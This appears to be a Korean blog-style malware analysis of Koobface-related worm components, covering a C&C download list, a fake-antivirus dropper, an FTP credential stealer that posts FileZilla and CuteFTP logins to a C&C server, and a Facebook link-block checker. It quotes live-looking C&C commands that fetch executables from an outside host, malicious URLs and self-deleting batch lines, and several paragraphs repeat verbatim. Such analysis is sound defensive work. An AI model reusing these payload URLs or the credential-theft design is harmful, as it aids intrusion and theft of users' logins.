이번에는 파일을 분석해봤습니다.
원래는 같이 해야하는데 리버싱은 전문 분야가 아니라서...-_-;;
먼저 HTTP Request 발생시 요청하는 파일들을 우선으로 분석해 보았습니다.
|
STARTONCE|http://e-secretary.es/.sys/?getexe=v2prx.exe
STARTONCE|http://e-secretary.es/.sys/?getexe=pp.12.exe
WAIT|60
STARTONCE|http://e-secretary.es/.sys/?getexe=get.exe
STARTONCE|http://e-secretary.es/.sys/?getexe=fb.73.exe
START|http://e-secretary.es/.sys/?getexe=v2captcha.exe
START|http://e-secretary.es/.sys/?getexe=v2googlecheck.exe
|
STARTONCE나 START와 같은 C&C 명령은 트렌드마이크로 보고서를 참조하시기 바랍니다.
0x01 v2prx.exe
이 파일은 실행 후 ze-biz.com에 접속하려 하지만 정상적으로 접속이 되지 않습니다.
3-way handshaking이 정상적으로 이루어지지 않아 연결이 끊기고 c:\windows\system32\fio32.dll을 생성해서 fioo32라는 서비스를 생성합니다. 이 서비스는 svchost에 dll injection해서 생성되고 있었습니다.
이 서비스는 8085 포트를 오픈하고 XP 방화벽 정책에 해당 서비스를 오픈해주고 있었으며 driver 밑에 fio32.sys라는 드라이버도 생성했었습니다.
3-way handshaking이 정상적으로 이루어지지 않아 연결이 끊기고 c:\windows\system32\fio32.dll을 생성해서 fioo32라는 서비스를 생성합니다. 이 서비스는 svchost에 dll injection해서 생성되고 있었습니다.
이 서비스는 8085 포트를 오픈하고 XP 방화벽 정책에 해당 서비스를 오픈해주고 있었으며 driver 밑에 fio32.sys라는 드라이버도 생성했었습니다.
그외 별다른 행동은 하지 않았습니다.
0x02 pp.12.exe
pp.12.exe는 실행 후 자기 자신을 C:\WINDOWS에 pp12.exe로 복사하고 시작프로그램으로 등록시킵니다.
그리고 재부팅 후 Fake Anti-Virus 설치를 유도합니다. 다른 조건이 있을 수 있겠지만 일단 제가 파악한 상황은 재부팅 후 어느 정도 시간이 지난후(대략 10분정도?)에 설치를 유도하고 있었습니다. 뭐...재부팅 안해도 되긴하겠지만 시작프로그램으로 등록하고 있어서 혹시나 하는 마음에 재부팅해 본 것이었습니다.
그리고 pp12.exe와 동일한 폴더에 fdgg34353edfgdfdf 라는 파일을 생성하는데 파일 내용은 "2"라는 숫자가 전부였습니다.
무엇을 의미하는 것인지 정확히 파악이 되지는 않습니다.
그리고 재부팅 후 Fake Anti-Virus 설치를 유도합니다. 다른 조건이 있을 수 있겠지만 일단 제가 파악한 상황은 재부팅 후 어느 정도 시간이 지난후(대략 10분정도?)에 설치를 유도하고 있었습니다. 뭐...재부팅 안해도 되긴하겠지만 시작프로그램으로 등록하고 있어서 혹시나 하는 마음에 재부팅해 본 것이었습니다.
그리고 pp12.exe와 동일한 폴더에 fdgg34353edfgdfdf 라는 파일을 생성하는데 파일 내용은 "2"라는 숫자가 전부였습니다.
무엇을 의미하는 것인지 정확히 파악이 되지는 않습니다.
이 파일도 koobface 웜들과 Request가 비슷한 형태를 띄고 있었는데 따로 언급하지는 않겠습니다.
한가지만 말씀드리자면 Fake Anti-Virus 설치를 유도하는 URL이 Request에 몇개가 지정되어 있습니다.
http://austriamoney.cn/?pid=312s01&sid=4db12f
--> http://royalsecure-a.com/scan1/?pid=312s1&engine=%3DnQ15jzxOTEzOS4xNC4zJnRpbWU9MTI1LjMyMA0MaA%3DN
http://thesecurityutility.net/index.php?affid=12400
http://egafuki.cn/22/?uid=13300
0x03 get.exe
get.exe는 감염된 PC에서 지정된 FTP 프로그램이 설치되어 있는지 확인한 후 각 프로그램들이 사용하는 FTP 연결 정보가 저장된 파일들을 찾아서 C&C 서버에 보내는 역할을 하고 있었습니다.
목록은 위에 보시는것과 같습니다.
테스트시 FileZilla와 CuteFTP를 설치해서 테스트했습니다.
프로그램 설치여부 확인은 레지스트리키값이 존재하는지와 해당 프로그램 설치 후 연결 정보를 가지고 있는 파일의 위치를 찾아서 파일이 있는지를 확인합니다.
CuteFTP에서 사용하는 sm.dat 파일과 FileZilla에서 사용하는 sitemanager.xml 파일을 읽고 있습니다.
sitemanager.xml 같은 경우 xml 포맷으로 작성되어 있어 다음과 같이 그 포맷에 해당하는 정보가 있는지 찾습니다.
라인단위로 읽어서 위와 같은 태그들이 있는지 확인하고 있으면 그 정보를 저장합니다.
이렇게 특정 위치에 저장된 데이터는 POST방식을 통해 C&C(xtsd20090815.com)으로 보내집니다.
수집된 정보를 전송한 후에 SelfDel.bat 파일을 만들어서 get.exe 파일과 자기 자신을 삭제합니다.
| :try del "D:\00_malware\aa\unpack_get.exe" if exist "D:\00_malware\aa\unpack_get.exe" goto try del "SelfDel.bat" |
get.exe의 역할은 여기까지입니다.
결국 좀비PC에서 사용중인 FTP 프로그램의 정보(IP/Domain, ID, Pass)를 C&C 서버로 전송하는 역할입니다.
0x04 v2captcha.exe
captcha 화면을 보여주는 역할을 하는 파일입니다.
C:\Program Files\captcha.dll이 있는지 확인하고 있으면 지운 다음 다시 생성합니다. 그리고 같은 위치에 captcha.bat 파일을 생성해서 rundll32 파일을 이용해서 captcha.dll을 실행하고 원본파일(v2captcha.exe)와 captch.bat 파일을 삭제합니다.
captcha.dll을 생성할때 읽기 전용(READONLY), 숨김(HIDDEN), 시스템파일(SYSTEM)의 속성을 부여합니다.
captcha.bat 배치파일을 생성합니다. 이 파일은 rundll32를 이용해서 captcha.dll 프로세스를 생성하고 captcha.bat와 v2captcha.exe 파일을 삭제하는 역할을 합니다.
CreateProcessA 함수가 실행되면 captcha.bat가 실행되고 아래와 같은 HTTP Request가 발생하면서 Captcha 화면이 보여지면서 Captcha 화면에 나온 문자열을 입력하면 해제됩니다.
0x05 v2googlecheck.exe
이 파일은 트래픽 위주 분석의 마지막부분에 있었던 내용의 트래픽을 유발시키는 파일이었습니다.
처음엔 그냥 무작정 트래픽만 보고 해서 애매했던게 파일을 분석해보니 정확하게 나오더군요..
이 파일은 크게 세가지 부분을 가지고 있었습니다.
1. http://capthcabreak.com/check/in.php?v=7
2. http://www.facebook.com/l.php?u=<악성URL>
3. http://capthcabreak.com/check/out.php?v=7
첫번째와 세번째는 capthcabreak.com에 들어가고(in.php) 나가는(out.php) 것을 확인하기 위함으로 보입니다.
문제는 두번째 보이는 URL이데요...하나씩 보도록 하겠습니다.
먼저 in.php를 요청하면서 들어갑니다.(지금은 들어간다는 표현밖에 생각이 나질 않습니다...ㅜ.ㅜ 저질 어휘력이 문제...)
위 그림에서 CALL unpack_v.00401000이 HTTP 패킷을 만들어서 서버에 Request를 날리는 함수입니다.
일단 첫번째 Request를 보내고 나면 C:\Documents and Settings\demantos\Local Settings\Temp에 tmp 파일을 생성합니다. 이 tmp 파일은 GetTickCount 함수의 리턴값으로 파일명을 만듭니다.
파일명을 먼저 만들고 동일한 파일이 있으면 삭제한 후 다시 만듭니다.
만들어지는 파일에는 악성URL이 들어 있는데 이 URL들이 계속 랜덤하게 바뀌는데 이 URL은 위에서 /check/in.php?v=7 요청에 대한 응답에 있습니다. 즉, capthcabreak.com 서버에서 랜덤하게 전송해주고 있었습니다.
이렇게 받은 응답을 tmp 파일에 기록합니다.
위와 아래 URL 다른것은 초반에 제가 캡쳐를 안해서 다시 실행하면서 바뀐 것입니다. -_-;;
이걸로만 봐도 계속 랜덤하게 변경되는 것을 알 수 있습니다. ^^;
처음엔 그냥 무작정 트래픽만 보고 해서 애매했던게 파일을 분석해보니 정확하게 나오더군요..
이 파일은 크게 세가지 부분을 가지고 있었습니다.
1. http://capthcabreak.com/check/in.php?v=7
2. http://www.facebook.com/l.php?u=<악성URL>
3. http://capthcabreak.com/check/out.php?v=7
첫번째와 세번째는 capthcabreak.com에 들어가고(in.php) 나가는(out.php) 것을 확인하기 위함으로 보입니다.
문제는 두번째 보이는 URL이데요...하나씩 보도록 하겠습니다.
먼저 in.php를 요청하면서 들어갑니다.(지금은 들어간다는 표현밖에 생각이 나질 않습니다...ㅜ.ㅜ 저질 어휘력이 문제...)
위 그림에서 CALL unpack_v.00401000이 HTTP 패킷을 만들어서 서버에 Request를 날리는 함수입니다.
일단 첫번째 Request를 보내고 나면 C:\Documents and Settings\demantos\Local Settings\Temp에 tmp 파일을 생성합니다. 이 tmp 파일은 GetTickCount 함수의 리턴값으로 파일명을 만듭니다.
파일명을 먼저 만들고 동일한 파일이 있으면 삭제한 후 다시 만듭니다.
만들어지는 파일에는 악성URL이 들어 있는데 이 URL들이 계속 랜덤하게 바뀌는데 이 URL은 위에서 /check/in.php?v=7 요청에 대한 응답에 있습니다. 즉, capthcabreak.com 서버에서 랜덤하게 전송해주고 있었습니다.
이렇게 받은 응답을 tmp 파일에 기록합니다.
위와 아래 URL 다른것은 초반에 제가 캡쳐를 안해서 다시 실행하면서 바뀐 것입니다. -_-;;
이걸로만 봐도 계속 랜덤하게 변경되는 것을 알 수 있습니다. ^^;
만들어진 파일 내부에는 위에서 보셨던 악성URL이 들어 있습니다.
tmp 파일에 있는 악성URL을 자세히 보시면 http://bit.ly/7NYacB 가 나오고 0x0A가 나온 후 1007763과 0x0A가 한번 더 나옵니다.
바로 다음에 나오지만 첫번재 0x0A 이후로는 실제 악성URL에서 제외됩니다. 결국 http://bit.ly/7NYacB만 악성URL이 되고 0x0A 뒤에 나오는 숫자는 일종의 checksum 역할을 합니다.
참고
bit.ly는 URL을 줄여서 만들어주는 역할을 하는 사이트입니다. (http://bit.ly)
http://malwarelab.tistory.com == http://bit.ly/8ocgTO
일전에 K***에서 bit.ly 도메인을 막으려다가 다시 해제했던 일이 있었습니다.
악성도메인이라고 할 수는 없지만 악의적으로 사용되고 있는게 사실입니다.
언제가 될지 모르겠지만 개인적인 생각으로는 언젠간 차단될 상황이 발생하지 않을까 생각됩니다.
이렇게 실제 사용할 악성URL을 만든 후 함수 하나가 나옵니다.
이 함수는 http://bit.ly/7NYacB 에서 특수문자를 hex 형태로 변형시켜주는 역할을 합니다. 실제 함수는 아래 내용입니다.
isalnum 함수는 영문자나 숫자인지 확인하는 함수입니다.
URL에서 특수문자로 된 부분들을 찾아낸 후 특수문자를 hex 형태로 변형시켜줍니다.
즉 : --> %3A로 / --> %2F와 같은 형태로 변형시킵니다.
0x004015DB에 있는 특수문자들은 변형시키지 않고 그대로 사용하기 위함입니다. 예를 들어 hacker.com이라는 문자열을 아래 함수에 넣으면 아무것도 변경되는게 없는 것이죠.
이렇게 특수문자를 hex 형태로 변형시키는 이유는 바로 다음에 나옵니다.
HTTP 패킷을 만들어 보내는데 악성URL이 파라미터의 인자값으로 들어갑니다.
http://www.facebook.com/l.php?=http%3A%2F%2Fbit.ly%2F7NYacB
처음에도 잠깐 나왔던 함수인데 0x00401000에 위치한 함수는 HTTP 패킷을 만들어 보내는 역할을 합니다.
함수 내부에 보면 페이로드 데이터가 필요한 HTTP 패킷이면 POST 방식을 사용하고 그렇지 않은 패킷이면 GET 방식을 사용하게끔 되어 있습니다. 즉, EBP+14와 EDI를 비교해서 같으면 점프를 시키고(GET), 같지 않으면 점프하지 않습니다(POST).
생성된 tmp 파일은 특정 위치에 저장한 후 삭제하는데 ReadFile 함수에 의해 EDI에 tmp 파일의 내용이 있는 위치를 로드시킵니다.
실제로 지금까지의 과정이 한번 더 수행하면서 바로 위에 보이는 초록색 테두리처럼 HTML 내용을 만듭니다.
0x00401765 주소에서 호출하는 0x00401558 함수는 악성URL과 HTML 내용을 비교해서 동일한 부분이 있는지 찾습니다.
위 함수의 내부 코드입니다. 실제로 비교하는 부분이죠.
아래쪽에 보시면 http://bit.ly/7NYacB가 HTML 내용에 있는지 확인하고 있습니다.
0x00401558 함수를 두번 실행하는데(아래 그림에서 첫번째는 짤렸습니다 -_-) 처음 실행한 결과를 EBP-C에 저장하고 있었습니다. 즉 악성URL과 동일한 내용이 있냐 없냐를 검사하는 함수인데 없을 경우 0 있을 경우 HTML 내용이 있는 주소값을 반환합니다.
이것은 facebook에 의해 악성URL의 차단 여부를 확인하는 것이고
EBP-C에
- 0인 경우 /check/blocked.php?v=7&url=<악성URL>
- 0이 아닌 경우 /check/dump.php?v=7&url=<악성URL>
과 같이 HTTP Request를 생성합니다.
앞에서 tmp에 있던 내용중 실제 악성URL 뒤에 오던 잘라졌던 숫자 기억나시죠?
checksum 역할을 한다고 했던...
그놈을 가져와서 /check/out.php?v=7의 페이로드로 붙여서 요청을 합니다.
결국 in.php를 요청할 때 악성URL과 checksum값을 받아와서 이 악성URL이 차단되었는지 차단되지 않았는지 확인한 후 dump.php나 blocked.php를 요청하고 out.php를 요청하면서 in.php에서 받아왔던 checksum값을 전송하면서 한 사이클이 끝납니다.
그리고 잠깐 쉽니다. 잠깐 쉬고(5분) 나서 EAX와 0x64(100.)을 비교해서 EAX값이 0x64보다 작으면 /check/in.php?v=7을 요청하는 루틴으로 다시 점프합니다. 즉, 위와 같은 행위를 총 100번을 수행한다는 것이죠..
100번을 모두 돌고 나면 c:\fbcheck.bat 파일을 생성합니다.
fbcheck.bat 파일 내용은 다음과 같습니다.
할일 다 했으니 exe 파일을 삭제하고 bat 파일 자신도 삭제하는 배치파일입니다.
언제가 될지 모르겠지만 개인적인 생각으로는 언젠간 차단될 상황이 발생하지 않을까 생각됩니다.
이렇게 실제 사용할 악성URL을 만든 후 함수 하나가 나옵니다.
이 함수는 http://bit.ly/7NYacB 에서 특수문자를 hex 형태로 변형시켜주는 역할을 합니다. 실제 함수는 아래 내용입니다.
isalnum 함수는 영문자나 숫자인지 확인하는 함수입니다.
URL에서 특수문자로 된 부분들을 찾아낸 후 특수문자를 hex 형태로 변형시켜줍니다.
즉 : --> %3A로 / --> %2F와 같은 형태로 변형시킵니다.
0x004015DB에 있는 특수문자들은 변형시키지 않고 그대로 사용하기 위함입니다. 예를 들어 hacker.com이라는 문자열을 아래 함수에 넣으면 아무것도 변경되는게 없는 것이죠.
이렇게 특수문자를 hex 형태로 변형시키는 이유는 바로 다음에 나옵니다.
HTTP 패킷을 만들어 보내는데 악성URL이 파라미터의 인자값으로 들어갑니다.
http://www.facebook.com/l.php?=http%3A%2F%2Fbit.ly%2F7NYacB
처음에도 잠깐 나왔던 함수인데 0x00401000에 위치한 함수는 HTTP 패킷을 만들어 보내는 역할을 합니다.
함수 내부에 보면 페이로드 데이터가 필요한 HTTP 패킷이면 POST 방식을 사용하고 그렇지 않은 패킷이면 GET 방식을 사용하게끔 되어 있습니다. 즉, EBP+14와 EDI를 비교해서 같으면 점프를 시키고(GET), 같지 않으면 점프하지 않습니다(POST).
생성된 tmp 파일은 특정 위치에 저장한 후 삭제하는데 ReadFile 함수에 의해 EDI에 tmp 파일의 내용이 있는 위치를 로드시킵니다.
실제로 지금까지의 과정이 한번 더 수행하면서 바로 위에 보이는 초록색 테두리처럼 HTML 내용을 만듭니다.
0x00401765 주소에서 호출하는 0x00401558 함수는 악성URL과 HTML 내용을 비교해서 동일한 부분이 있는지 찾습니다.
위 함수의 내부 코드입니다. 실제로 비교하는 부분이죠.
아래쪽에 보시면 http://bit.ly/7NYacB가 HTML 내용에 있는지 확인하고 있습니다.
0x00401558 함수를 두번 실행하는데(아래 그림에서 첫번째는 짤렸습니다 -_-) 처음 실행한 결과를 EBP-C에 저장하고 있었습니다. 즉 악성URL과 동일한 내용이 있냐 없냐를 검사하는 함수인데 없을 경우 0 있을 경우 HTML 내용이 있는 주소값을 반환합니다.
이것은 facebook에 의해 악성URL의 차단 여부를 확인하는 것이고
EBP-C에
- 0인 경우 /check/blocked.php?v=7&url=<악성URL>
- 0이 아닌 경우 /check/dump.php?v=7&url=<악성URL>
과 같이 HTTP Request를 생성합니다.
앞에서 tmp에 있던 내용중 실제 악성URL 뒤에 오던 잘라졌던 숫자 기억나시죠?
checksum 역할을 한다고 했던...
그놈을 가져와서 /check/out.php?v=7의 페이로드로 붙여서 요청을 합니다.
결국 in.php를 요청할 때 악성URL과 checksum값을 받아와서 이 악성URL이 차단되었는지 차단되지 않았는지 확인한 후 dump.php나 blocked.php를 요청하고 out.php를 요청하면서 in.php에서 받아왔던 checksum값을 전송하면서 한 사이클이 끝납니다.
그리고 잠깐 쉽니다. 잠깐 쉬고(5분) 나서 EAX와 0x64(100.)을 비교해서 EAX값이 0x64보다 작으면 /check/in.php?v=7을 요청하는 루틴으로 다시 점프합니다. 즉, 위와 같은 행위를 총 100번을 수행한다는 것이죠..
100번을 모두 돌고 나면 c:\fbcheck.bat 파일을 생성합니다.
fbcheck.bat 파일 내용은 다음과 같습니다.
| :Repeat del "D:\00_malware\aa\unpack_v2googlecheck.exe" if exist "D:\00_malware\aa\unpack_v2googlecheck.exe" goto Repeat del "c:\fbcheck.bat" |
할일 다 했으니 exe 파일을 삭제하고 bat 파일 자신도 삭제하는 배치파일입니다.
이상으로 최초 접속시 다운로드 후 실행하는 파일들이 어떤 행동을 하는지 살펴봤습니다.
기타 SNS 공격용 파일들은 - fb.xx.exe, tw.xx.exe, ms.xx.exe 등등 - 별도로 분석을 할 예정입니다.
짬짬이 하다보니 상당히 길어진 느낌이 듭니다. ㅜ.ㅜ
